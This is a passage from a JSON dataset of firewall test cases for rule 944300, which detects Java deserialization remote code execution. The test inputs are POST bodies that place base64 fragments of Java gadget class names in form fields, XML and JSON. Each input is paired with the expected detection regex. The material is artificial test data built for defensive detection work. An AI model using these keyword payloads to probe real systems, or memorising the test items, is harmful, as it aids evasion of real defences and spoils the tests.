"(?:cnVudGltZQ|HJ1bnRpbWU|BydW50aW1l|cHJvY2Vzc2J1aWxkZXI|HByb2Nlc3NidWlsZGVy|Bwcm9jZXNzYnVpbGRlcg|Y2xvbmV0cmFuc2Zvcm1lcg|GNsb25ldHJhbnNmb3JtZXI|BjbG9uZXRyYW5zZm9ybWVy|Zm9yY2xvc3VyZQ|GZvcmNsb3N1cmU|Bmb3JjbG9zdXJl|aW5zdGFudGlhdGVmYWN0b3J5|Gluc3RhbnRpYXRlZmFjdG9yeQ|BpbnN0YW50aWF0ZWZhY3Rvcnk|aW5zdGFudGlhdGV0cmFuc2Zvcm1lcg|Gluc3RhbnRpYXRldHJhbnNmb3JtZXI|BpbnN0YW50aWF0ZXRyYW5zZm9ybWVy|aW52b2tlcnRyYW5zZm9ybWVy|Gludm9rZXJ0cmFuc2Zvcm1lcg|BpbnZva2VydHJhbnNmb3JtZXI|cHJvdG90eXBlY2xvbmVmYWN0b3J5|HByb3RvdHlwZWNsb25lZmFjdG9yeQ|Bwcm90b3R5cGVjbG9uZWZhY3Rvcnk|cHJvdG90eXBlc2VyaWFsaXphdGlvbmZhY3Rvcnk|HByb3RvdHlwZXNlcmlhbGl6YXRpb25mYWN0b3J5|Bwcm90b3R5cGVzZXJpYWxpemF0aW9uZmFjdG9yeQ|d2hpbGVjbG9zdXJl|HdoaWxlY2xvc3VyZQ|B3aGlsZWNsb3N1cmU)", "negated": false } }, "transformations": [ "none" ], "attack_type": [ "attack-rce" ], "severity": "CRITICAL" }, "metadata": { "rule_id": "944300", "test_description": "Argument name includes keyword HByb3RvdHlwZXNlcmlhbGl6YXRpb25mYWN0b3J5" } }, { "input": { "malicious_payload": [ { "location": "post_body", "value": "<?xml version=\"1.0\"?><xml><element attribute_name=\"HByb3RvdHlwZXNlcmlhbGl6YXRpb25mYWN0b3J5\">element_value</element></xml>" } ], "attack_context": { "method": "POST", "location": [ "post_body" ] } }, "output": { "detection": { "variables": [ { "name": "ARGS", "part": "", "negated": false }, { "name": "ARGS_NAMES", "part": "", "negated": false }, { "name": "REQUEST_COOKIES", "part": "", "negated": false }, { "name": "REQUEST_COOKIES_NAMES", "part": "", "negated": false }, { "name": "REQUEST_BODY", "part": "", "negated": false }, { "name": "REQUEST_HEADERS", "part": "", "negated": false }, { "name": "XML", "part": "/*", "negated": false }, { "name": "XML", "part": "//@*", "negated": false } ], "operator": { "type": "@rx", "argument": "(?:cnVudGltZQ|HJ1bnRpbWU|BydW50aW1l|cHJvY2Vzc2J1aWxkZXI|HByb2Nlc3NidWlsZGVy|Bwcm9jZXNzYnVpbGRlcg|Y2xvbmV0cmFuc2Zvcm1lcg|GNsb25ldHJhbnNmb3JtZXI|BjbG9uZXRyYW5zZm9ybWVy|Zm9yY2xvc3VyZQ|GZvcmNsb3N1cmU|Bmb3JjbG9zdXJl|aW5zdGFudGlhdGVmYWN0b3J5|Gluc3RhbnRpYXRlZmFjdG9yeQ|BpbnN0YW50aWF0ZWZhY3Rvcnk|aW5zdGFudGlhdGV0cmFuc2Zvcm1lcg|Gluc3RhbnRpYXRldHJhbnNmb3JtZXI|BpbnN0YW50aWF0ZXRyYW5zZm9ybWVy|aW52b2tlcnRyYW5zZm9ybWVy|Gludm9rZXJ0cmFuc2Zvcm1lcg|BpbnZva2VydHJhbnNmb3JtZXI|cHJvdG90eXBlY2xvbmVmYWN0b3J5|HByb3RvdHlwZWNsb25lZmFjdG9yeQ|Bwcm90b3R5cGVjbG9uZWZhY3Rvcnk|cHJvdG90eXBlc2VyaWFsaXphdGlvbmZhY3Rvcnk|HByb3RvdHlwZXNlcmlhbGl6YXRpb25mYWN0b3J5|Bwcm90b3R5cGVzZXJpYWxpemF0aW9uZmFjdG9yeQ|d2hpbGVjbG9zdXJl|HdoaWxlY2xvc3VyZQ|B3aGlsZWNsb3N1cmU)", "negated": false } }, "transformations": [ "none" ], "attack_type": [ "attack-rce" ], "severity": "CRITICAL" }, "metadata": { "rule_id": "944300", "test_description": "XML attribute value includes keyword HByb3RvdHlwZXNlcmlhbGl6YXRpb25mYWN0b3J5" } }, { "input": { "malicious_payload": [ { "location": "post_body", "value": "<?xml version=\"1.0\"?><xml><element attribute_name=\"attribute_value\">HByb3RvdHlwZXNlcmlhbGl6YXRpb25mYWN0b3J5</element></xml>" } ], "attack_context": { "method": "POST", "location": [ "post_body" ] } }, "output": { "detection": { "variables": [ { "name": "ARGS", "part": "", "negated": false }, { "name": "ARGS_NAMES", "part": "", "negated": false }, { "name": "REQUEST_COOKIES", "part": "", "negated": false }, { "name": "REQUEST_COOKIES_NAMES", "part": "", "negated": false }, { "name": "REQUEST_BODY", "part": "", "negated": false }, { "name": "REQUEST_HEADERS", "part": "", "negated": false }, { "name": "XML", "part": "/*", "negated": false }, { "name": "XML", "part": "//@*", "negated": false } ], "operator": { "type": "@rx", "argument": "(?:cnVudGltZQ|HJ1bnRpbWU|BydW50aW1l|cHJvY2Vzc2J1aWxkZXI|HByb2Nlc3NidWlsZGVy|Bwcm9jZXNzYnVpbGRlcg|Y2xvbmV0cmFuc2Zvcm1lcg|GNsb25ldHJhbnNmb3JtZXI|BjbG9uZXRyYW5zZm9ybWVy|Zm9yY2xvc3VyZQ|GZvcmNsb3N1cmU|Bmb3JjbG9zdXJl|aW5zdGFudGlhdGVmYWN0b3J5|Gluc3RhbnRpYXRlZmFjdG9yeQ|BpbnN0YW50aWF0ZWZhY3Rvcnk|aW5zdGFudGlhdGV0cmFuc2Zvcm1lcg|Gluc3RhbnRpYXRldHJhbnNmb3JtZXI|BpbnN0YW50aWF0ZXRyYW5zZm9ybWVy|aW52b2tlcnRyYW5zZm9ybWVy|Gludm9rZXJ0cmFuc2Zvcm1lcg|BpbnZva2VydHJhbnNmb3JtZXI|cHJvdG90eXBlY2xvbmVmYWN0b3J5|HByb3RvdHlwZWNsb25lZmFjdG9yeQ|Bwcm90b3R5cGVjbG9uZWZhY3Rvcnk|cHJvdG90eXBlc2VyaWFsaXphdGlvbmZhY3Rvcnk|HByb3RvdHlwZXNlcmlhbGl6YXRpb25mYWN0b3J5|Bwcm90b3R5cGVzZXJpYWxpemF0aW9uZmFjdG9yeQ|d2hpbGVjbG9zdXJl|HdoaWxlY2xvc3VyZQ|B3aGlsZWNsb3N1cmU)", "negated": false } }, "transformations": [ "none" ], "attack_type": [ "attack-rce" ], "severity": "CRITICAL" }, "metadata": { "rule_id": "944300", "test_description": "XML element value includes keyword HByb3RvdHlwZXNlcmlhbGl6YXRpb25mYWN0b3J5" } }, { "input": { "malicious_payload": [ { "location": "post_body", "value": "<?xml version=\"1.0\"?><xml><l1><l2><l3><element attribute_name=\"attribute_value\">HByb3RvdHlwZXNlcmlhbGl6YXRpb25mYWN0b3J5</element></l3></l2></l1></xml>" } ], "attack_context": { "method": "POST", "location": [ "post_body" ] } }, "output": { "detection": { "variables": [ { "name": "ARGS", "part": "", "negated": false }, { "name": "ARGS_NAMES", "part": "", "negated": false }, { "name": "REQUEST_COOKIES", "part": "", "negated": false }, { "name": "REQUEST_COOKIES_NAMES", "part": "", "negated": false }, { "name": "REQUEST_BODY", "part": "", "negated": false }, { "name": "REQUEST_HEADERS", "part": "", "negated": false }, { "name": "XML", "part": "/*", "negated": false }, { "name": "XML", "part": "//@*", "negated": false } ], "operator": { "type": "@rx", "argument": "(?:cnVudGltZQ|HJ1bnRpbWU|BydW50aW1l|cHJvY2Vzc2J1aWxkZXI|HByb2Nlc3NidWlsZGVy|Bwcm9jZXNzYnVpbGRlcg|Y2xvbmV0cmFuc2Zvcm1lcg|GNsb25ldHJhbnNmb3JtZXI|BjbG9uZXRyYW5zZm9ybWVy|Zm9yY2xvc3VyZQ|GZvcmNsb3N1cmU|Bmb3JjbG9zdXJl|aW5zdGFudGlhdGVmYWN0b3J5|Gluc3RhbnRpYXRlZmFjdG9yeQ|BpbnN0YW50aWF0ZWZhY3Rvcnk|aW5zdGFudGlhdGV0cmFuc2Zvcm1lcg|Gluc3RhbnRpYXRldHJhbnNmb3JtZXI|BpbnN0YW50aWF0ZXRyYW5zZm9ybWVy|aW52b2tlcnRyYW5zZm9ybWVy|Gludm9rZXJ0cmFuc2Zvcm1lcg|BpbnZva2VydHJhbnNmb3JtZXI|cHJvdG90eXBlY2xvbmVmYWN0b3J5|HByb3RvdHlwZWNsb25lZmFjdG9yeQ|Bwcm90b3R5cGVjbG9uZWZhY3Rvcnk|cHJvdG90eXBlc2VyaWFsaXphdGlvbmZhY3Rvcnk|HByb3RvdHlwZXNlcmlhbGl6YXRpb25mYWN0b3J5|Bwcm90b3R5cGVzZXJpYWxpemF0aW9uZmFjdG9yeQ|d2hpbGVjbG9zdXJl|HdoaWxlY2xvc3VyZQ|B3aGlsZWNsb3N1cmU)", "negated": false } }, "transformations": [ "none" ], "attack_type": [ "attack-rce" ], "severity": "CRITICAL" }, "metadata": { "rule_id": "944300", "test_description": "Nested XML element value includes keyword HByb3RvdHlwZXNlcmlhbGl6YXRpb25mYWN0b3J5" } }, { "input": { "malicious_payload": [ { "location": "post_body", "value": "test=HByb3RvdHlwZXNlcmlhbGl6YXRpb25mYWN0b3J5" } ], "attack_context": { "method": "POST", "location": [ "post_body" ] } }, "output": { "detection": { "variables": [ { "name": "ARGS", "part": "", "negated": false }, { "name": "ARGS_NAMES", "part": "", "negated": false }, { "name": "REQUEST_COOKIES", "part": "", "negated": false }, { "name": "REQUEST_COOKIES_NAMES", "part": "", "negated": false }, { "name": "REQUEST_BODY", "part": "", "negated": false }, { "name": "REQUEST_HEADERS", "part": "", "negated": false }, { "name": "XML", "part": "/*", "negated": false }, { "name": "XML", "part": "//@*", "negated": false } ], "operator": { "type": "@rx", "argument": "(?:cnVudGltZQ|HJ1bnRpbWU|BydW50aW1l|cHJvY2Vzc2J1aWxkZXI|HByb2Nlc3NidWlsZGVy|Bwcm9jZXNzYnVpbGRlcg|Y2xvbmV0cmFuc2Zvcm1lcg|GNsb25ldHJhbnNmb3JtZXI|BjbG9uZXRyYW5zZm9ybWVy|Zm9yY2xvc3VyZQ|GZvcmNsb3N1cmU|Bmb3JjbG9zdXJl|aW5zdGFudGlhdGVmYWN0b3J5|Gluc3RhbnRpYXRlZmFjdG9yeQ|BpbnN0YW50aWF0ZWZhY3Rvcnk|aW5zdGFudGlhdGV0cmFuc2Zvcm1lcg|Gluc3RhbnRpYXRldHJhbnNmb3JtZXI|BpbnN0YW50aWF0ZXRyYW5zZm9ybWVy|aW52b2tlcnRyYW5zZm9ybWVy|Gludm9rZXJ0cmFuc2Zvcm1lcg|BpbnZva2VydHJhbnNmb3JtZXI|cHJvdG90eXBlY2xvbmVmYWN0b3J5|HByb3RvdHlwZWNsb25lZmFjdG9yeQ|Bwcm90b3R5cGVjbG9uZWZhY3Rvcnk|cHJvdG90eXBlc2VyaWFsaXphdGlvbmZhY3Rvcnk|HByb3RvdHlwZXNlcmlhbGl6YXRpb25mYWN0b3J5|Bwcm90b3R5cGVzZXJpYWxpemF0aW9uZmFjdG9yeQ|d2hpbGVjbG9zdXJl|HdoaWxlY2xvc3VyZQ|B3aGlsZWNsb3N1cmU)", "negated": false } }, "transformations": [ "none" ], "attack_type": [ "attack-rce" ], "severity": "CRITICAL" }, "metadata": { "rule_id": "944300", "test_description": "Content-Type text/plain includes keyword HByb3RvdHlwZXNlcmlhbGl6YXRpb25mYWN0b3J5" } }, { "input": { "malicious_payload": [ { "location": "post_body", "value": "{\"test\": \"HByb3RvdHlwZXNlcmlhbGl6YXRpb25mYWN0b3J5\"}" } ], "attack_context": { "method": "POST", "location": [ "post_body" ] } }, "output": { "detection": { "variables": [ { "name": "ARGS", "part": "", "negated": false }, { "name": "ARGS_NAMES", "part": "", "negated": false }, { "name": "REQUEST_COOKIES", "part": "", "negated": false }, { "name": "REQUEST_COOKIES_NAMES", "part": "", "negated": false }, { "name": "REQUEST_BODY", "part": "", "negated": false }, { "name": "REQUEST_HEADERS", "part": "", "negated": false }, { "name": "XML", "part": "/*", "negated": false }, { "name": "XML", "part": "//@*", "negated": false } ], "operator": { "type": "@rx", "argument": "(?:cnVudGltZQ|HJ1bnRpbWU|BydW50aW1l|cHJvY2Vzc2J1aWxkZXI|HByb2Nlc3NidWlsZGVy|Bwcm9jZXNzYnVpbGRlcg|Y2xvbmV0cmFuc2Zvcm1lcg|GNsb25ldHJhbnNmb3JtZXI|BjbG9uZXRyYW5zZm9ybWVy|Zm9yY2xvc3VyZQ|GZvcmNsb3N1cmU|Bmb3JjbG9zdXJl|aW5zdGFudGlhdGVmYWN0b3J5|Gluc3RhbnRpYXRlZmFjdG9yeQ|BpbnN0YW50aWF0ZWZhY3Rvcnk|aW5zdGFudGlhdGV0cmFuc2Zvcm1lcg|Gluc3RhbnRpYXRldHJhbnNmb3JtZXI|BpbnN0YW50aWF0ZXRyYW5zZm9ybWVy|aW52b2tlcnRyYW5zZm9ybWVy|Gludm9rZXJ0cmFuc2Zvcm1lcg|BpbnZva2VydHJhbnNmb3JtZXI|cHJvdG90eXBlY2xvbmVmYWN0b3J5|HByb3RvdHlwZWNsb25lZmFjdG9yeQ|Bwcm90b3R5cGVjbG9uZWZhY3Rvcnk|cHJvdG90eXBlc2VyaWFsaXphdGlvbmZhY3Rvcnk|HByb3RvdHlwZXNlcmlhbGl6YXRpb25mYWN0b3J5|Bwcm90b3R5cGVzZXJpYWxpemF0aW9uZmFjdG9yeQ|d2hpbGVjbG9zdXJl|HdoaWxlY2xvc3VyZQ|B3aGlsZWNsb3N1cmU)", "negated": false } }, "transformations": [ "none" ], "attack_type": [ "attack-rce" ], "severity": "CRITICAL" }, "metadata": { "rule_id": "944300", "test_description": "Content-Type application/json arg value includes keyword HByb3RvdHlwZXNlcmlhbGl6YXRpb25mYWN0b3J5" } }, { "input": { "malicious_payload": [ { "location": "post_body", "value": "{\"HByb3RvdHlwZXNlcmlhbGl6YXRpb25mYWN0b3J5\": \"test\"}" } ], "attack_context": { "method": "POST", "location": [ "post_body" ] } }, "output": { "detection": { "variables": [ { "name": "ARGS", "part": "", "negated": false }, { "name": "ARGS_NAMES", "part": "", "negated": false }, { "name": "REQUEST_COOKIES", "part": "", "negated": false }, { "name": "REQUEST_COOKIES_NAMES", "part": "", "negated": false }, { "name": "REQUEST_BODY", "part": "", "negated": false }, { "name": "REQUEST_HEADERS", "part": "", "negated": false }, { "name": "XML", "part": "/*", "negated": false }, { "name": "XML", "part": "//@*", "negated": false } ], "operator": { "type": "@rx", "argument": "(?:cnVudGltZQ|HJ1bnRpbWU|BydW50aW1l|cHJvY2Vzc2J1aWxkZXI|HByb2Nlc3NidWlsZGVy|Bwcm9jZXNzYnVpbGRlcg|Y2xvbmV0cmFuc2Zvcm1lcg|GNsb25ldHJhbnNmb3JtZXI|BjbG9uZXRyYW5zZm9ybWVy|Zm9yY2xvc3VyZQ|GZvcmNsb3N1cmU|Bmb3JjbG9zdXJl|aW5zdGFudGlhdGVmYWN0b3J5|Gluc3RhbnRpYXRlZmFjdG9yeQ|BpbnN0YW50aWF0ZWZhY3Rvcnk|aW5zdGFudGlhdGV0cmFuc2Zvcm1lcg|Gluc3RhbnRpYXRldHJhbnNmb3JtZXI|BpbnN0YW50aWF0ZXRyYW5zZm9ybWVy|aW52b2tlcnRyYW5zZm9ybWVy|Gludm9rZXJ0cmFuc2Zvcm1lcg|BpbnZva2VydHJhbnNmb3JtZXI|cHJvdG90eXBlY2xvbmVmYWN0b3J5|HByb3RvdHlwZWNsb25lZmFjdG9yeQ|Bwcm90b3R5cGVjbG9uZWZhY3Rvcnk|cHJvdG90eXBlc2VyaWFsaXphdGlvbmZhY3Rvcnk|HByb3RvdHlwZXNlcmlhbGl6YXRpb25mYWN0b3J5|Bwcm90b3R5cGVzZXJpYWxpemF0aW9uZmFjdG9yeQ|d2hpbGVjbG9zdXJl|HdoaWxlY2xvc3VyZQ|B3aGlsZWNsb3N1cmU)", "negated": false } }, "transformations": [ "none" ], "attack_type": [ "attack-rce" ], "severity": "CRITICAL" }, "metadata": { "rule_id": "944300", "test_description": "Content-Type application/json arg name includes keyword HByb3RvdHlwZXNlcmlhbGl6YXRpb25mYWN0b3J5" } }, { "input": { "malicious_payload": [ { "location": "post_body", "value": "test=Bwcm90b3R5cGVzZXJpYWxpemF0aW9uZmFjdG9yeQ" } ], "attack_context": { "method": "POST", "location": [ "post_body" ] } }, "output": { "detection": { "variables": [ { "name": "ARGS", "part": "", "negated": false }, { "name": "ARGS_NAMES", "part": "", "negated": false }, { "name": "REQUEST_COOKIES", "part": "", "negated": false }, { "name": "REQUEST_COOKIES_NAMES", "part": "", "negated": false }, { "name": "REQUEST_BODY", "part": "", "negated": false }, { "name": "REQUEST_HEADERS", "part": "", "negated": false }, { "name": "XML", "part": "/*", "negated": false }, { "name": "XML", "part": "//@*", "negated": false } ], "operator": { "type": "@rx", "argument": "(?:cnVudGltZQ|HJ1bnRpbWU|BydW50aW1l|cHJvY2Vzc2J1aWxkZXI|HByb2Nlc3NidWlsZGVy|Bwcm9jZXNzYnVpbGRlcg|Y2xvbmV0cmFuc2Zvcm1lcg|GNsb25ldHJhbnNmb3JtZXI|BjbG9uZXRyYW5zZm9ybWVy|Zm9yY2xvc3VyZQ|GZvcmNsb3N1cmU|Bmb3JjbG9zdXJl|aW5zdGFudGlhdGVmYWN0b3J5|Gluc3RhbnRpYXRlZmFjdG9yeQ|BpbnN0YW50aWF0ZWZhY3Rvcnk|aW5zdGFudGlhdGV0cmFuc2Zvcm1lcg|Gluc3RhbnRpYXRldHJhbnNmb3JtZXI|BpbnN0YW50aWF0ZXRyYW5zZm9ybWVy|aW52b2tlcnRyYW5zZm9ybWVy|Gludm9rZXJ0cmFuc2Zvcm1lcg|BpbnZva2VydHJhbnNmb3JtZXI|cHJvdG90eXBlY2xvbmVmYWN0b3J5|HByb3RvdHlwZWNsb25lZmFjdG9yeQ|Bwcm90b3R5cGVjbG9uZWZhY3Rvcnk|cHJvdG90eXBlc2VyaWFsaXphdGlvbmZhY3Rvcnk|HByb3RvdHlwZXNlcmlhbGl6YXRpb25mYWN0b3J5|Bwcm90b3R5cGVzZXJpYWxpemF0aW9uZmFjdG9yeQ|d2hpbGVjbG9zdXJl|HdoaWxlY2xvc3VyZQ|B3aGlsZWNsb3N1cmU)", "negated": false } }, "transformations": [ "none" ], "attack_type": [ "attack-rce" ], "severity": "CRITICAL" }, "metadata": { "rule_id": "944300", "test_description": "Argument test includes keyword Bwcm90b3R5cGVzZXJpYWxpemF0aW9uZmFjdG9yeQ" } }, { "input": { "malicious_payload": [ { "location": "post_body", "value": "Bwcm90b3R5cGVzZXJpYWxpemF0aW9uZmFjdG9yeQ=test" } ], "attack_context": { "method": "POST", "location": [ "post_body" ] } }, "output": { "detection": { "variables": [ { "name": "ARGS", "part": "", "negated": false }, { "name": "ARGS_NAMES", "part": "", "negated": false }, { "name": "REQUEST_COOKIES", "part": "", "negated": false }, { "name": "REQUEST_COOKIES_NAMES", "part": "", "negated": false }, { "name": "REQUEST_BODY", "part": "", "negated": false }, { "name": "REQUEST_HEADERS", "part": "", "negated": false }, { "name": "XML", "part": "/*", "negated": false }, { "name": "XML", "part": "//@*", "negated": false } ], "operator": { "type": "@rx", "argument": "(?:cnVudGltZQ|HJ1bnRpbWU|BydW50aW1l|cHJvY2Vzc2J1aWxkZXI|HByb2Nlc3NidWlsZGVy|Bwcm9jZXNzYnVpbGRlcg|Y2xvbmV0cmFuc2Zvcm1lcg|GNsb25ldHJhbnNmb3JtZXI|BjbG9uZXRyYW5zZm9ybWVy|Zm9yY2xvc3VyZQ|GZvcmNsb3N1cmU|Bmb3JjbG9zdXJl|aW5zdGFudGlhdGVmYWN0b3J5|Gluc3RhbnRpYXRlZmFjdG9yeQ|BpbnN0YW50aWF0ZWZhY3Rvcnk|aW5zdGFudGlhdGV0cmFuc2Zvcm1lcg|Gluc3RhbnRpYXRldHJhbnNmb3JtZXI|BpbnN0YW50aWF0ZXRyYW5zZm9ybWVy|aW52b2tlcnRyYW5zZm9ybWVy|Gludm9rZXJ0cmFuc2Zvcm1lcg|BpbnZva2VydHJhbnNmb3JtZXI|cHJvdG90eXBlY2xvbmVmYWN0b3J5|HByb3RvdHlwZWNsb25lZmFjdG9yeQ|Bwcm90b3R5cGVjbG9uZWZhY3Rvcnk|cHJvdG90eXBlc2VyaWFsaXphdGlvbmZhY3Rvcnk|HByb3RvdHlwZXNlcmlhbGl6YXRpb25mYWN0b3J5|Bwcm90b3R5cGVzZXJpYWxpemF0aW9uZmFjdG9yeQ|d2hpbGVjbG9zdXJl|HdoaWxlY2xvc3VyZQ|B3aGlsZWNsb3N1cmU)", "negated": false } }, "transformations": [ "none" ], "attack_type": [ "attack-rce" ], "severity": "CRITICAL" }, "metadata": { "rule_id": "944300", "test_description": "Argument name includes keyword Bwcm90b3R5cGVzZXJpYWxpemF0aW9uZmFjdG9yeQ" } }, { "input": { "malicious_payload": [ { "location": "post_body", "value": "<?xml version=\"1.0\"?><xml><element attribute_name=\"Bwcm90b3R5cGVzZXJpYWxpemF0aW9uZmFjdG9yeQ\">element_value</element></xml>" } ], "attack_context": { "method": "POST", "location": [ "post_body" ] } }, "output": { "detection": { "variables": [ { "name": "ARGS", "part": "", "negated": false }, { "name": "ARGS_NAMES", "part": "", "negated": false }, { "name": "REQUEST_COOKIES", "part": "", "negated": false }, { "name": "REQUEST_COOKIES_NAMES", "part": "", "negated": false }, { "name": "REQUEST_BODY", "part": "", "negated": false }, { "name": "REQUEST_HEADERS", "part": "", "negated": false }, { "name": "XML", "part": "/*", "negated": false }, { "name": "XML", "part": "//@*", "negated": false } ], "operator": { "type": "@rx", "argument": "(?:cnVudGltZQ|HJ1bnRpbWU|BydW50aW1l|cHJvY2Vzc2J1aWxkZXI|HByb2Nlc3NidWlsZGVy|Bwcm9jZXNzYnVpbGRlcg|Y2xvbmV0cmFuc2Zvcm1lcg|GNsb25ldHJhbnNmb3JtZXI|BjbG9uZXRyYW5zZm9ybWVy|Zm9yY2xvc3VyZQ|GZvcmNsb3N1cmU|Bmb3JjbG9zdXJl|aW5zdGFudGlhdGVmYWN0b3J5|Gluc3RhbnRpYXRlZmFjdG9yeQ|BpbnN0YW50aWF0ZWZhY3Rvcnk|aW5zdGFudGlhdGV0cmFuc2Zvcm1lcg|Gluc3RhbnRpYXRldHJhbnNmb3JtZXI|BpbnN0YW50aWF0ZXRyYW5zZm9ybWVy|aW52b2tlcnRyYW5zZm9ybWVy|Gludm9rZXJ0cmFuc2Zvcm1lcg|BpbnZva2VydHJhbnNmb3JtZXI|cHJvdG90eXBlY2xvbmVmYWN0b3J5|HByb3RvdHlwZWNsb25lZmFjdG9yeQ|Bwcm90b3R5cGVjbG9uZWZhY3Rvcnk|cHJvdG90eXBlc2VyaWFsaXphdGlvbmZhY3Rvcnk|HByb3RvdHlwZXNlcmlhbGl6YXRpb25mYWN0b3J5|Bwcm90b3R5cGVzZXJpYWxpemF0aW9uZmFjdG9yeQ|d2hpbGVjbG9zdXJl|HdoaWxlY2xvc3VyZQ|B3aGlsZWNsb3N1cmU)", "negated": false } }, "transformations": [ "none" ], "attack_type": [ "attack-rce" ], "severity": "CRITICAL" }, "metadata": { "rule_id": "944300", "test_description": "XML attribute value includes keyword Bwcm90b3R5cGVzZXJpYWxpemF0aW9uZmFjdG9yeQ" } }, { "input": { "malicious_payload": [ { "location": "post_body", "value": "<?xml version=\"1.0\"?><xml><element attribute_name=\"attribute_value\">Bwcm90b3R5cGVzZXJpYWxpemF0aW9uZmFjdG9yeQ</element></xml>" } ], "attack_context": { "method": "POST", "location": [ "post_body" ] } }, "output": { "detection": { "variables": [ { "name": "ARGS", "part": "", "negated": false }, { "name": "ARGS_NAMES", "part": "", "negated": false }, { "name": "REQUEST_COOKIES", "part": "", "negated": false }, { "name": "REQUEST_COOKIES_NAMES", "part": "", "negated": false }, { "name": "REQUEST_BODY", "part": "", "negated": false }, { "name": "REQUEST_HEADERS", "part": "", "negated": false }, { "name": "XML", "part": "/*", "negated": false }, { "name": "XML", "part": "//@*", "negated": false } ], "operator": { "type": "@rx", "argument": "(?:cnVudGltZQ|HJ1bnRpbWU|BydW50aW1l|cHJvY2Vzc2J1aWxkZXI|HByb2Nlc3NidWlsZGVy|Bwcm9jZXNzYnVpbGRlcg|Y2xvbmV0cmFuc2Zvcm1lcg|GNsb25ldHJhbnNmb3JtZXI|BjbG9uZXRyYW5zZm9ybWVy|Zm9yY2xvc3VyZQ|GZvcmNsb3N1cmU|Bmb3JjbG9zdXJl|aW5zdGFudGlhdGVmYWN0b3J5|Gluc3RhbnRpYXRlZmFjdG9yeQ|BpbnN0YW50aWF0ZWZhY3Rvcnk|aW5zdGFudGlhdGV0cmFuc2Zvcm1lcg|Gluc3RhbnRpYXRldHJhbnNmb3JtZXI|BpbnN0YW50aWF0ZXRyYW5zZm9ybWVy|aW52b2tlcnRyYW5zZm9ybWVy|Gludm9rZXJ0cmFuc2Zvcm1lcg|BpbnZva2VydHJhbnNmb3JtZXI|cHJvdG90eXBlY2xvbmVmYWN0b3J5|HByb3RvdHlwZWNsb25lZmFjdG9yeQ|Bwcm90b3R5cGVjbG9uZWZhY3Rvcnk|cHJvdG90eXBlc2VyaWFsaXphdGlvbmZhY3Rvcnk|HByb3RvdHlwZXNlcmlhbGl6YXRpb25mYWN0b3J5|Bwcm90b3R5cGVzZXJpYWxpemF0aW9uZmFjdG9yeQ|d2hpbGVjbG9zdXJl|HdoaWxlY2xvc3VyZQ|B3aGlsZWNsb3N1cmU)", "negated": false } }, "transformations": [ "none" ], "attack_type": [ "attack-rce" ], "severity": "CRITICAL" }, "metadata": { "rule_id": "944300", "test_description": "XML element value includes keyword Bwcm90b3R5cGVzZXJpYWxpemF0aW9uZmFjdG9yeQ" } }, { "input": { "malicious_payload": [ { "location": "post_body", "value": "<?xml version=\"1.0\"?><xml><l1><l2><l3><element attribute_name=\"attribute_value\">Bwcm90b3R5cGVzZXJpYWxpemF0aW9uZmFjdG9yeQ</element></l3></l2></l1></xml>" } ], "attack_context": { "method": "POST", "location": [ "post_body" ] } }, "output": { "detection": { "variables": [ { "name": "ARGS", "part": "", "negated": false }, { "name": "ARGS_NAMES", "part": "", "negated": false }, { "name": "REQUEST_COOKIES", "part": "", "negated": false }, { "name": "REQUEST_COOKIES_NAMES", "part": "", "negated": false }, { "name": "REQUEST_BODY", "part": "", "negated": false }, { "name": "REQUEST_HEADERS", "part": "", "negated": false }, { "name": "XML", "part": "/*", "negated": false }, { "name": "XML", "part": "//@*", "negated": false } ], "operator": { "type": "@rx", "argument": "(?:cnVudGltZQ|HJ1bnRpbWU|BydW50aW1l|cHJvY2Vzc2J1aWxkZXI|HByb2Nlc3NidWlsZGVy|Bwcm9jZXNzYnVpbGRlcg|Y2xvbmV0cmFuc2Zvcm1lcg|GNsb25ldHJhbnNmb3JtZXI|BjbG9uZXRyYW5zZm9ybWVy|Zm9yY2xvc3VyZQ|GZvcmNsb3N1cmU|Bmb3JjbG9zdXJl|aW5zdGFudGlhdGVmYWN0b3J5|Gluc3RhbnRpYXRlZmFjdG9yeQ|BpbnN0YW50aWF0ZWZhY3Rvcnk|aW5zdGFudGlhdGV0cmFuc2Zvcm1lcg|Gluc3RhbnRpYXRldHJhbnNmb3JtZXI|BpbnN0YW50aWF0ZXRyYW5zZm9ybWVy|aW52b2tlcnRyYW5zZm9ybWVy|Gludm9rZXJ0cmFuc2Zvcm1lcg|BpbnZva2VydHJhbnNmb3JtZXI|cHJvdG90eXBlY2xvbmVmYWN0b3J5|HByb3RvdHlwZWNsb25lZmFjdG9yeQ|Bwcm90b3R5cGVjbG9uZWZhY3Rvcnk|cHJvdG90eXBlc2VyaWFsaXphdGlvbmZhY3Rvcnk|HByb3RvdHlwZXNlcmlhbGl6YXRpb25mYWN0b3J5|Bwcm90b3R5cGVzZXJpYWxpemF0aW9uZmFjdG9yeQ|d2hpbGVjbG9zdXJl|HdoaWxlY2xvc3VyZQ|B3aGlsZWNsb3N1cmU)", "negated": false } }, "transformations": [ "none" ], "attack_type": [ "attack-rce" ], "severity": "CRITICAL" }, "metadata": { "rule_id": "944300", "test_description": "Nested XML element value includes keyword Bwcm90b3R5cGVzZXJpYWxpemF0aW9uZmFjdG9yeQ" } }, { "input": { "malicious_payload": [ { "location": "post_body", "value": "test=Bwcm90b3R5cGVzZXJpYWxpemF0aW9uZmFjdG9yeQ" } ], "attack_context": { "method": "POST", "location": [ "post_body" ] } }, "output": { "detection": { "variables": [ { "name": "ARGS", "part": "", "negated": false }, { "name": "ARGS_NAMES", "part": "", "negated": false }, { "name": "REQUEST_COOKIES", "part": "", "negated": false }, { "name": "REQUEST_COOKIES_NAMES", "part": "", "negated": false }, { "name": "REQUEST_BODY", "part": "", "negated": false }, { "name": "REQUEST_HEADERS", "part": "", "negated": false }, { "name": "XML", "part": "/*", "negated": false }, { "name": "XML", "part": "//@*", "negated": false } ], "operator": { "type": "@rx", "argument": 